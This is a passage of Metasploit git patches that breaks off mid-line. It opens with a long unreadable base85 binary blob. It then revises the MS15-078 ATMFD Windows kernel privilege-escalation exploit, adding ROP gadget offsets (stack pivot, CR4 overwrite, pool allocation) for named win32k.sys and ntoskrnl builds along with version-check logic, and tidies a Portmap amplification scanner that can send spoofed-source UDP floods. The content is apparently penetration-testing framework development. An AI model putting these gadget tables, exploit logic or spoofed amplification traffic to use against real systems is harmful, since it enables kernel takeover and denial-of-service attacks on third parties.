zlZ8vKvbv<q9&f*@*658Vf_(}mGEcsvp7(($Tau5qfxzjnW1)Tfg<XWNB=7H}mRlzp z3lL6K_6t_ncOd^Jv-ORRn6LWOl1~bv)kI^V>V@~m4A#<jU}<0QN~2j3mhHq2&Ym@M zntDN#b=!xasVTYy9aguCq+F4d_(AZ+p(*SBrEy+=;Rbeb6&iQl_0N1>UEBhV`|3}w zH2%&;wNP_=A`1S8=CF$#+$o}<V#V+_T<T~)t1-qASY(~a4U=@CqJBv~<oppiahfNi z$tKF}Ps=$ObJ$|;e9=0bHwp4#i!KLQa6<h1uzVP0;Z9%bh*DNj|8E~Gyd|g#F}*ty zUGEyV4XUY|YC4Yc4JaRz_sU>8eC$kRJ&8@x-E*P&rN_@=mHk{}@4u<C-#FRFRrUkM zl~QfjH2PB~ov+fbXqkV}*ey<Wpvo3$?6(@b(#giC>;#Ryps{nDte48BYV4UeeNcaj zZlsgGl|_9D*61&_%!y9+lFD|jS9^R+W4)YglgfUrvBx#GUFaH*T`GG(V?Wc_6M~5P z)#2K#(r;??L5;3)W`0R!%QSYc#;$j=MJoHa#@1@A$;m#dvbn^j=w^`FYS=+eYQ3eo zDxIKZ-lJvCaAxkSvL1h{INZsGs_f6})bZG_<$b_+^;l5ZW{v$wV=p<`_CYk#J4!X$ zQE|PKKC9A|8oN`=T;*h&RCb}pzOAw4PPR&ACu;0Qjh*XcH>m7DjeWUPqa`Q3T%|)b zdWpvNa<cPO_Fkph<E0ww<76kO>^B-)tg+X*uJIVGvY%?~lN#Gn>ZB7?dW%LsrqR2c zte?uR)YwNfc7v0>mq~*;hu9Qd37M^ihsjBu<L^~=q{hx7)}m{LjUqrkg*$|{@#t_@ zV8MlDG?FsC#MCGOKIcy!HyXMz>S>5jK7|oDbfS3XR~E_&Q{zJvqsToUjU(qdoWxey zj$2)p__L91P8}t@Wn@33CJHYYnLf=F!gqNVA=Y<!w#Tv8(y~02i|B!MNasa%DXpL9 zIW5&fsW_H7aBJLIynZ-SH0~u|K(iO%?uLWU*YSnv3&rqp+WPdt{8Tn1{TJSkC1v#E zv)PP{ZbJR<Y<WgV|50nG2Pf=%ZsKe+$6-7U`$@_d#iwxtWWUqsjluKun919m#TUCN zh7fi%BSW|rvOd$uhqCz0+3pkJMd4y?W|E=ofe&Y0ZZt3T;ERpY?4y{1Pr9*_nK}Ai zU?dlu?><c!sB#uN$jH01k%P*G8y40)Xq@m?42#N&@>>~$`>uRG507H`hGK}T9i8RI z^UK)y!K?i&FQcs%ofmE@fcwd;ZSX@OhjCd@3`0QW<N7a)@2lw~mOZ2-{@s_<42g7U zk((8RO-;K<)-fK6VYNoOu<wRU@)~iEx{B{WMwatXLGGyvHDjMBb%7+Rr=dlRNAfVL zNF%cn|1q5C`6wDFZ4rYt2+<&voq1?spN)~AWbqZiPxK7Rx2CPvOfsNtDbg=$=|z!j z(a;2b5qoXukdWUa)NFSE2h}U{GGn1)C}r1&E)r{B@!{l?mV9H3tb3n5mu>W32}|24 zT8~ZajqK-RehQ~{;xIK2In#&kM?rh>gjVcN;ge*e?qDC5l9QYMgyO@Qg5|O%w5md9 z!*N#ZVGs4Ee!Ji(olEnTIoyMu&cprWRjQj<<jQvB6bz3?1)TZ*AH@NUx?t$kM8!~J z#v{XEzW;l1P@_%>>oTu{S#E6$G2ees96*=#m`2^VVJv6ZB0iCQG^{W({Z~|#azwIJ z6rq8Vd{@qMRj)FNVRLQ&;RkuX5BoJYBlA=zT09IFYEwjq;$0k!+xC{*G;KKJrK~2C z&hGi6`lX;6j*{i&I=U>#y3L)nkB>;;g^9P=>XH3j3Kbvr>B#WueQ>3hhkICbJ?L&P zn`7`2z^Y0j^EupfPk*2&mWlW{aZgubkY<0b-;+DWXKs$AT*{t@6?drZJNX>(EAH{= zen}u)R_BI=4qH{ub1ZdK>?psHaBFP4gz4XW$A>dFDR_wUN>i~vEURJ3%Q}HJw|<W{ zTcVc0(4n|sCoa9AC~dvXol0>6R!0uoJnA39ly>&ps9r+bEfy!G1y3)bO|CDeS0N2l z4BZB2vFD`sBZphC6vEK!0i^gri6zAyiXThM>nR)!V1;@8gyNfQUEa#byj7ZeS_Ua_ zPwPPn+|z<<`;GQ=@pIK<na0Yx2fnykiFbUNG`4T)*{hBj%QZ^*@?AXNWqZE-onkoi zyn4fwJM0nPp<9_lwjx`u+@Y_~?x*6da(tKhDyNRaQ%o^je}QI*KBpHaDTeou+1xor zUvWk4m)Hbf`Z$0q_-9T>efc52l)7y=1RAjyU%HS_d-790xk)jMBa78gqj_LfqtOh- zz>%5wej2~U$-Alim0}04*Z56N{<=u{>mB?^!!M*+bat5Ooe_h|)^s)J^{!Gr*PQmN zc?~EMo>5~f6q9EjO;`lm_i*^&B9&ba*E$>!+)t;}MJq0#lCeH!OPOiULN`5%2eewS zIFl%Ph0I`n<3^9V;iGw`Dh79QKqWnu7VV=VKDOYu1&2eRVz_G39OyHX<|B*MpcO+i zduv>#a59p8Gp<1R{u=9BFh_XpHrr5eQrOeZo*bVl6t}ZC#(yU4Xk&9GOcdtaWcwzh z3vJif%?Zy4)@$ssM?MtRc(8zpag(0(z(M47g_gDM5$H6%Mr#38Y8f(`$ZMBXa-f5B zufs=3t}PCS*oAAfb$whUb3?LZo#r7aUz$9zc)i)`iBUuC*zO$m%xCn`QWh`aA!Yy9 zIh19NKM7rX8aO{Wpg0p1mvw$&Hey9*2fI3P6hEK!os<%qRYbA78T0mSJGp$mFdZ&W zbg(6pGGlMdC(?X3s6^E7TNtW0H~9TDjJBzDbTZ=psrj|1CJo?w{dm{M@gk|XAn9{k z)eo=vv?4!wj@qYwd!3)D+jE!on=>dlqr9$)0x<amA(Wj6DX5I*&g-!`4oj8Kxj= zVU+Ua!;0aNXVi%*PBIU<+{xUg&fsI%oT>4`J(pT}>M(wi@-IahE|;$`%*B!7(v*k) z<ik12x6dK{G-Mg%Nk}E60<r`$2l5}t8;}i<`H(e`6_8>`A?yC=N?!?a2wxD?S66%r z+x2K4K8am^bhhxbh2>5&^YN@{S`Ymv_@JPj()lTdf>!p&w14m$+0^MDx-3I@^_mgx zG7H#a#;OTXuWBvrc#7llTpE-sssH4-49IZEILI8xvyf8AddLn)9ppIVGUNe7e468W zK!!o)*77qq3&Pd=wf`<W&I{k2WY0XlgnyS^eY{4vQ&_ucc0SM7)c!EXlNV;5U>#2k z<_lTU+=F3TW~dv`kS~ud%$4gU`BaXK>(Q?>neIu&w*{}*MG4aEV^|T-T(1q7H<TC0 z-1Ol}mgmpDkM)<%W<C|ghp}Z(4HwSbU=2@AD^2_c$C1w7{}4^%m>4NbjMgmOG)p2Z zL7GL>EI6e^FU@klLCuu`3#VCr(k$7q+_|8Zd``1Su(WHI&os+CSnkcyOtqS+2&N9r z@|I><49iu`vR1XoWfWSn#Pgc*Ma{TMGd63+Cp06jvE+I10#p8J%=6T^URt>xAe67w z28L=DKUi*S7B|f@6_(ywu3PnLM+;$zt$pU{ey+Ye_GHOyY4%MF>$P^aZGO)lhiDJV zJ{`2{6~lvxw0p$un(<froC8#Z?u~YKcm4>Uch357^wF+Sx9Kb!U9>HDT^qi1nw$7s zi|!?;ZSJ|UuB455E{GOpw6UHGdQKcb9{PR%6||_JQMckuSN^5Y+)xrx5sT6YA{X^- z)XjpOVsWGHAJBZEW#4IxG2v1(0%=^Z!3<^ZEchg7!F?ZYQHdlsO7dl?;l2*%wHte3 zVY>Ho<7u%Kd*KIDws&D=kc{i)qGu(1aFFjy4GJ9NW7v#Ed-x1yFwNvWnaNZnZ2Fd6 zH4QWre(S?!>o=fGpN2d+pQ7`{hgtvPDE=rLSDY@~xx!Wzp9p>EVSEgi?Q{<)QqMh{ z#fW%%_T2Lcxae<uez5TVWp?WMSbTK5{rq;}>q~6w3$flG<|7Jqw26x0Kdj}2$-?AI zEOGI6{!4at@c_Yek$Ekt^ZITywO(I-`*(JEaX7oWL@&Jj4f}1$R^e_Qd*j7;Vc!LI z<i(ia`aE?@dAlq#7UX9AQu<LFuGLG~y%&cDKkcCKnX5oP`jhPeeT__D<CgXl{`i`e zEq$tw%V(JL%pvVZu#|f5MO^3Xk(lU8d;vr^&cJN<qtI^A9XnEMSQf_f53_zHllc(# zQc0?Bcn1dbNojTihWz7J)>L8?4mPvvC5e0j3t2wHx9}J6J+Ys0lY4NEtz0e%yUwxZ z<<a~;*0%gy_hI;*4HJa#|L;LVSYGi4Ze4in9j8gM8eTigzAshyZS4E9vHUbPV8zIw za%!;o?jOZI_Pcafl*NUgu{A4t@OibnSM=r$w|_>JGyXcqX{%4MTPrsTH@{-Cd6;*P z?5;)e25ZHAv-~S|&-|?a#zQFAnj=W&PX2kkuu9nC@|e_iD_wq$?W5I~OFxn+hVeP5 z)uJ0s{^ldnVLVkQPmxx%m%#`7W95gexx7WF*}>kdI9ICQMWyOCb)!7uUHlq=tb%4d zt{HtOWzpRx&Z>JTMlJmpEtMRkrhe5@kE$7TZCdIB{LF)VKWM3!H10A|^h}~d6`$bP zt(T&OLEBmLnvKGugSGF!9Kw4|{uB?FhTggfpVl_7YTyNSfURA<-c#A{gN1Bp-_Lr< zulmhHO1?D0<xtyv?BhrGvle+l#N~b1z^j{cPF?wJ#*v8ncyzcd*SlWUeZG%PU-O)> z@?Eu}Q+rX78_%A4#oz1WI<2x@b*OAV&xTgI2{%8c3O#0htX7!MzOA(RHGTBg`u2UK z);AQ!|7U%@K0<woZ1DQw!WVDVu2}!1Yv`OB44?UW;fRWB`tqTO8%um8Yub*TyKJH- zzn1xK*)069pM9|91-@sk@vW(X&{D~kzkN>lZEfw8t*;CGuG*XLqzU?2wb%mE?DNHR zXFs^9HhtTEUf8&k-KsVTOJA@3=lib-yi}{(@g^^9D`)@t@C$wrTU3*ZAAR1dNf53- z##(BOLd#?9PE8sg%lhn`!N=9E-g(+1ey$g8+VRQW>U~F@pX^EMpLEDSOXiYnu2^p# zlE=*Z&WmMBsV7HbX5fx9m_4<BX_C4vRnt#l%N3>h&z!Tz#z^?NM>bfuAd?*QxqU0^ z+~18QAMl;8{>Y={I#}}8T=Lj#&0L7{@Xx~Ju?3nr?{8*F9-FM$&usdu`(AWNYv)ge zRQ#TXfnprL>(fdhszc(+5DPhJtcIzD8Wt=Au8R%y_gkeIDl0X_ugUds-S9_0laNb2 zR+a#Zx``a!%jq9Db6~^Efek!FfVe<hAv%Z~#2w-R@q~Cmy!Qk)_{?zkN}eIAZE2aY z=fx(UhjaNgwqrixT3uN->}ZP(H3adVwhB>f<agV~`ilMh=MAI3hT*s{>?!)AlPxx@ zuNV^CWgZ&?DwgAp9_6^GSld2dF+8A)i@>Jnmw?|A8*Nv8#qKE4Q!n<2C7MplApE41 z14(H_0{<R?z8aEm8?P55oNhP!aoq2aF1LVWj?0AP+pK>r&Dfvgra+!>lvW7+W(v}_ zGkWoDXE)Z5;JA+<Wj2eS*aJ=42{3fExJ2T(8pswDQe(U3C&oS2MNP)(5s5>n-ci0M zUb?R6Nf*Bj+;#|!6`_BK7Z)-|&xNG=av>7}JN&QcTf}<rqAve@9D1i9r)>-T#Xx8K zM&p!z3v$D@(O>N5G`l>)ar+=QY@fj#wL1zIR#X($+nozH?dHN$Yq@Z~hVw4qxZO5B zK<pMvF6as8?<R0=1BB$RdP8P$ToT0FmJ=W@#Q=N~Af^LuQzmkvsd*2twswfI2?_iw zhOWbFG2fOJDE4r+>d;b-OI=1|{A{3@;xsodNAaZ`x7@ZfP>gVzcfj;5WTWk3pctn% zFge26K<B{pU&V2wAl|mvpuY@EgoWecAs^UA1c~X+LQ7$K6LQ364HC!2clC1kT0Ax& z%N-pEi*)70)F4j0;Z}qJGKhibvcZ5&y4#ki!3={q9I3Yq;uyd+gBSwP1&iYVlY+%8 zz`9^D&}Dw)4coiHVk~dkb1Ya)_q3J8h)dkHapFFX6_Z`Z+UIIp`TqoM3m$llc=zWX zBG1a|^|qfA#S^x&2VP_Lz;smL{r2qaC0-Wz7~8reaTK3xYv?O>`~N_Qt*EaU!x!4t z^%eW^1>`<7;L1ELFgSX_U75Ehpr3fcrL=Q`M$|YQ{<m1_`1in3?rul9{{wdC{s)3X zoKU53&x#bW)YaA!;9d4=h8S8}7RYg%aZ`xFM_a<rAyZ>Tt{K?r&|O0~E*V1h!N5h3 zKHc#}1DJ!q6q<;<`M@?veuBt70Pezm+5nyQ)kz5Xp9ZGm=0W8Y0Ov>Jce5g7E<)nV zZul+$y#*-7Xqo+h$%vL4U?-dnq0G+!w>$J2;8BO(1oVy58sP^V2qAw7c*&u+1JjL~ zJ;R9owFwD7I1!$NP!HOHD-engpyG01BZPX;34F3AHaqO|fU6*6Cp-(Gysf}ahh6H0 zhzC(e3-}3y8dMKl*Bj-RBEtqKg-Kc?Ou%<BS@awEd%*7@l!4F#QJr+c)ex#|4e((^ z_d?hUfL}t$rv-QmLKPFnreYLfHv(;>Bkv|)shq}f-+)*Hd?Xz`gFX>hfp}R*Jp+CQ z$&DAeCZH)34S}6--XH{$9vBJW8AuT9t-!o2tS9IPfImX05q4neV6Ab4eX~`)l*@oJ zMN4o~fr}kF;ct*sWbOnm%+Yic@U}zm1STT}(?}3fI3t}fFBdxU<^wB9hn+A4rx{Im zDDcb(%>O(%wIY!@QX7_uz>%Y{E?_SJegvVBr~{sbRFXe1P||u<1pEZj3_ETwTuPp! zm%xWcV=cg*4V(g@k(dfx2cZUSD1}lBNsPl*0iJ}Alg}8A8#)$8670ANaYYca6NWyl zRY15AVobzb0u#n*Jxc_7;!JEuULW95$YSVCK%a@&?qmn<n~eEyMxq7E;whL{{D?*P zJA@VyHx-|vAf&GXPW*?a6K;S|g9zQHqhRFS3>+|1YeXw>>@0K)_5$E82=%xHcnc!I z&J|++hZb^N0TMC5Sja@^$-w@QsnAn_%@E2=_y9r`6F&Bs)}T4SjSk)8aco`4bmZLx zybGZYJOF+<Tbtq*;6LY3nWZ9E2Bmr~h8P(>0R8}>3T^@Op49Yw;8_SQ##W%$Jk9O{ zd>vv!UcaYs@IQx`0DUoV&H@ZIbi#X(HP9ab7cRmr2D%B@QHuW^L81c~Y|;u11-{_W z7Xyz#s0V~YinSi(0|(%S@c?;Kfe*dFaf7i%vw<H#XuA@=vsAOc2gDVc%ZHutRtXvn zz0_|x$IXPSLZT3uUWyeCJp&k4hLsOJ5-6@hFoKTjH#Y_1f$5kE{0c%-a~e3vg87C% z7<d{okL<wZtI+}IWx!hy8r>Kf;atZ2)9Rgr#5M@&9{`80(R!H;TxaFDt;oC?cpGv6 zy5B1tcMj47y%qTSTC5TB0Zy*e8Z;HS7D6M3w*prKp^6FHAafA7+AGn^{p-*hBn|-0 z_zQtsC@6+uzBl0p3wtZ@l{YoL68P&oxY@&g3mE#YRuJK<5Q+_(fYST86vBrvXFG-( zdM+?)2YjFp2EOqjrnVG`El?KJAPhq{0pHt+MnJCtj@+e<N&&DE@(k>ofFZS-y$|r= zkFfnPas|N8AvB83!00{bG4yO;c^%dPbi#3awGk=+mPYNvRsj(MJO{~z-U_VUkDfu_ z4P0{+J%GLiNDr3|^pa5DsOg0C+#ow)zC$OZ_XXJr%N#o48=C%*`gWj40yz<$cIbpR z96F(QljcK6_iXYv+Ad~`5&h}bN=d?v4xR7=hfa9Jp%Y%*<DVnCyQkG`t=n3^wP|b1 z*4C|8w%WILZ0+2dTwPE-wYso+UUgCR;_9;MRn?W%o2s`|zgJyTT~}RS-DFFW#B|$S zNsQ(bZDvW#dU)#g#oIS+uiM_b-ET+Yj^rH~JF<6_?Wn{Qa|PI)fWoSIRYg^ctIDcY sRaI7Ps@hWZUR7OHeN|IcOI2&tl`4BxM-}(B$J>5y$GmNeHHxSI8;<TwlK=n! diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 934d6bd078..e1c8ca41c8 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -10,6 +10,17 @@ require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ManualRanking + WIN32K_VERSIONS = [ + '6.3.9600.17393', + '6.3.9600.17837', + '6.3.9600.17915' + ] + + NT_VERSIONS = [ + '6.3.9600.17415', + '6.3.9600.17936' + ] + include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process @@ -65,46 +76,32 @@ class Metasploit3 < Msf::Exploit::Local @win32k_offsets.each do |k, v| case k when 'info_leak' - puts "patching ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<')) when 'pop_rax_ret' - puts "patching 1 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp' - puts "patching 2 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<')) when 'allocate_pool' - puts "patching 3 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<')) when 'pop_rcx_ret' - puts "patching 4 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<')) when 'deref_rax_into_rcx' - puts "patching 5 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<')) when 'mov_rax_into_rcx' - puts "patching 6 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<')) when 'pop_rbx_ret' - puts "patching 7 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<')) when 'ret' - puts "patching 8 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<')) when 'mov_rax_r11_ret' - puts "patching 9 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<')) when 'add_rax_rcx_ret' - puts "patching a ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<')) when 'pop_rsp_ret' - puts "patching b ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp_adjust' - puts "patching c ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<')) when 'chwnd_delete' - puts "patching d ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<')) end end @@ -115,33 +112,19 @@ class Metasploit3 < Msf::Exploit::Local case version when '6.3.9600.17393' { - # 0xdeedbeefdeedbe00 'info_leak' => 0x3cf00, - # 0xdeedbeefdeedbe01 'pop_rax_ret' => 0x19fab, # pop rax # ret # 58 C3 - # 0xdeedbeefdeedbe02 'xchg_rax_rsp' => 0x6121, # xchg eax, esp # ret # 94 C3 - # 0xdeedbeefdeedbe03 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag - # 0xdeedbeefdeedbe04 'pop_rcx_ret' => 0x98156, # pop rcx # ret # 59 C3 - # 0xdeedbeefdeedbe05 'deref_rax_into_rcx' => 0xc432f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 - # 0xdeedbeefdeedbe06 - 'mov_rax_into_rcx' => 0xc432f, # mov [rcx], rax # ret # 48 89 01 C3 - # 0xdeedbeefdeedbe07 + 'mov_rax_into_rcx' => 0xc4332, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 - # 0xdeedbeefdeedbe08 'ret' => 0x6e314, # ret C3 - # 0xdeedbeefdeedbe09 'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3 - # 0xdeedbeefdeedbe0a 'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3 - # 0xdeedbeefdeedbe0b 'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3 - # 0xdeedbeefdeedbe0c 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sar bh, cl # add rsp, 0x80 # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3 - # 0xdeedbeefdeedbe0d 'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete } when '6.3.9600.17837' @@ -186,10 +169,8 @@ class Metasploit3 < Msf::Exploit::Local @nt_offsets.each do |k, v| case k when 'set_cr4' - puts "patching e ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<')) when 'allocate_pool_with_tag' - puts "patching f ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<')) end end @@ -200,9 +181,7 @@ class Metasploit3 < Msf::Exploit::Local case version when '6.3.9600.17415' { - # 0xdeedbeefdeedbe0e 'set_cr4' => 0x38a3cc, # 0F 22 E0 48 83 C4 28 C3 - # 0xdeedbeefdeedbe0f 'allocate_pool_with_tag' => 0x2a3a50 } when '6.3.9600.17936' @@ -265,25 +244,17 @@ class Metasploit3 < Msf::Exploit::Local # win32k.sys 6.3.9600.17393 => Works @win32k = win32k_version - unless @win32k && @win32k =~ /^6\.3/ - return Exploit::CheckCode::Unknown - end - - unless @win32k && Gem::Version.new(@win32k) == Gem::Version.new('6.3.9600.17393') + unless @win32k && WIN32K_VERSIONS.include?(@win32k) return Exploit::CheckCode::Detected end # ntoskrnl.exe 6.3.9600.17415 => Works @ntoskrnl = ntoskrnl_version - unless @ntoskrnl && @ntoskrnl =~ /^6\.3/ + unless @ntoskrnl && NT_VERSIONS.include?(@ntoskrnl) return Exploit::CheckCode::Unknown end - unless @ntoskrnl && Gem::Version.new(@ntoskrnl) == Gem::Version.new('6.3.9600.17415') - return Exploit::CheckCode::Detected - end - Exploit::CheckCode::Appears end @@ -293,7 +264,7 @@ class Metasploit3 < Msf::Exploit::Local end check_result = check - if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown + unless check_result == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end From 0d52a0617c669ac3a39b51034e89afe1c7f76f3f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sat, 12 Sep 2015 15:27:50 -0500 Subject: [PATCH 0623/2172] Verify win32k 6.3.9600.17837 is working --- .../windows/local/ms15_078_atmfd_bof.rb | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index e1c8ca41c8..f2f3cc5262 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -41,8 +41,7 @@ class Metasploit3 < Msf::Exploit::Local 'Eugene Ching', # vulnerability discovery and exploit 'Mateusz Jurczyk', # vulnerability discovery 'Cedric Halbronn', # vulnerability and exploit analysis - 'juan vazquez', # msf module - 'sinn3r' # msf module + 'juan vazquez' # msf module ], 'Arch' => ARCH_X86_64, 'Platform' => 'win', @@ -135,11 +134,11 @@ class Metasploit3 < Msf::Exploit::Local 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a4a, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3687, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 + 'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3 - 'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret 'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete @@ -259,19 +258,30 @@ class Metasploit3 < Msf::Exploit::Local end def exploit + print_status('Checking target...') if is_system? fail_with(Failure::None, 'Session is already elevated') end check_result = check - unless check_result == Exploit::CheckCode::Appears + if check_result == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, 'Target not vulnerable') + end + + if check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end + if check_result == Exploit::CheckCode::Detected + fail_with(Failure::NotVulnerable, 'ROP chain not available for the target nt/win32k') + end + unless get_target_arch == ARCH_X86_64 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end + print_status("Exploiting with win32k #{@win32k} and nt #{@ntoskrnl}...") + set_win32k_offsets fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil? From 521636a0161137aa3d18641ef440fe7f3111d3fc Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Sun, 13 Sep 2015 08:31:19 +0700 Subject: [PATCH 0624/2172] Small changes --- modules/auxiliary/scanner/portmap/portmap_amp.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/portmap/portmap_amp.rb b/modules/auxiliary/scanner/portmap/portmap_amp.rb index f0259d734b..9774d5600f 100644 --- a/modules/auxiliary/scanner/portmap/portmap_amp.rb +++ b/modules/auxiliary/scanner/portmap/portmap_amp.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Portmap Amplification Scanner', 'Description' => %q{ - This module can be used to discover Portmap servers which expose unauthicated + This module can be used to discover Portmap servers which expose unauthenticated functionality that can be used in an amplication attack against a third party. }, 'Author' => [ 'xistence <xistence[at]0x90.nl>'], # Original scanner module @@ -104,13 +104,13 @@ class Metasploit3 < Msf::Auxiliary end def scanner_process(data, shost, sport) - if data =~/#{XID_SUMMARY}\x00\x00\x00\x01/ + if data =~ /#{XID_SUMMARY}\x00\x00\x00\x01/ @results_summary[shost] ||= [] @results_summary[shost] << data - elsif data =~/#{XID_METRICS}\x00\x00\x00\x01/ + elsif data =~ /#{XID_METRICS}\x00\x00\x00\x01/ @results_metrics[shost] ||= [] @results_metrics[shost] << data - elsif data =~/#{XID_DUMP}\x00\x00\x00\x01/ + elsif data =~ /#{XID_DUMP}\x00\x00\x00\x01/ @results_dump[shost] ||= [] @results_dump[shost] << data else @@ -140,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary port: datastore['RPORT'], proto: 'udp', name: what, - refs: self.references + refs: references ) else vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") @@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary port: datastore['RPORT'], proto: 'udp', name: what, - refs: self.references + refs: references ) else vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") @@ -194,7 +194,7 @@ class Metasploit3 < Msf::Auxiliary port: datastore['RPORT'], proto: 'udp', name: what, - refs: self.references + refs: references ) else vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") From 0657fdbaa72a6f96a837133d8fa1a4889b37c31d Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Sun, 13 Sep 2015 09:19:05 +0700 Subject: [PATCH 0625/2172] Replaced RPORT --- .../auxiliary/scanner/portmap/portmap_amp.rb | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/portmap/portmap_amp.rb b/modules/auxiliary/scanner/portmap/portmap_amp.rb index 9774d5600f..20b90b8a02 100644 --- a/modules/auxiliary/scanner/portmap/portmap_amp.rb +++ b/modules/auxiliary/scanner/portmap/portmap_amp.rb @@ -93,13 +93,13 @@ class Metasploit3 < Msf::Auxiliary def scan_host(ip) if spoofed? datastore['ScannerRecvWindow'] = 0 - scanner_spoof_send(@portmap_summary, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) - scanner_spoof_send(@portmap_dump, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) - scanner_spoof_send(@portmap_metrics, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + scanner_spoof_send(@portmap_summary, ip, rport, datastore['SRCIP'], datastore['NUM_REQUESTS']) + scanner_spoof_send(@portmap_dump, ip, rport, datastore['SRCIP'], datastore['NUM_REQUESTS']) + scanner_spoof_send(@portmap_metrics, ip, rport, datastore['SRCIP'], datastore['NUM_REQUESTS']) else - scanner_send(@portmap_summary, ip, datastore['RPORT']) - scanner_send(@portmap_dump, ip, datastore['RPORT']) - scanner_send(@portmap_metrics, ip, datastore['RPORT']) + scanner_send(@portmap_summary, ip, rport) + scanner_send(@portmap_dump, ip, rport) + scanner_send(@portmap_metrics, ip, rport) end end @@ -126,18 +126,18 @@ class Metasploit3 < 